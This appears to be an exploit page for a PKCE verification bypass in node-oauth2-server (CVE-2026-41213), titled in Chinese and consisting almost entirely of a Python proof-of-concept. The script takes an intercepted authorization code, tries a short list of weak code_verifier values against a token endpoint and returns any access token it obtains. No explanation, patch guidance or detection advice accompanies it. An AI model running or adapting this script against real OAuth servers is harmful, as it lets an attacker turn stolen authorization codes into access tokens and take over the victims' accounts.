CVE-2026-41213: node-oauth2-server PKCE验证绕过漏洞

import requests def brute_force_pkce(target_url, auth_code, client_id, redirect_uri): # Since the vulnerability accepts short verifiers, we try a list of weak candidates. # In a real scenario, this list could be expanded or sequential. weak_verifiers = ['a', '1', '123', 'test', 'code', 'admin', 'xyz'] for verifier in weak_verifiers: payload = { 'grant_type': 'authorization_code', 'code': auth_code, 'code_verifier': verifier, 'redirect_uri': redirect_uri, 'client_id': client_id } try: response = requests.post(target_url, data=payload) if response.status_code == 200: json_resp = response.json() if 'access_token' in json_resp: return f"[+] Success! Verifier: {verifier}, Token: {json_resp['access_token']}" except Exception as e: print(f"Error: {e}") return "[-] Failed to brute force the code verifier." # Example usage # target = "https://example.com/oauth/token" # code = "intercepted_authorization_code" # print(brute_force_pkce(target, code, "public_client", "https://example.com/callback"))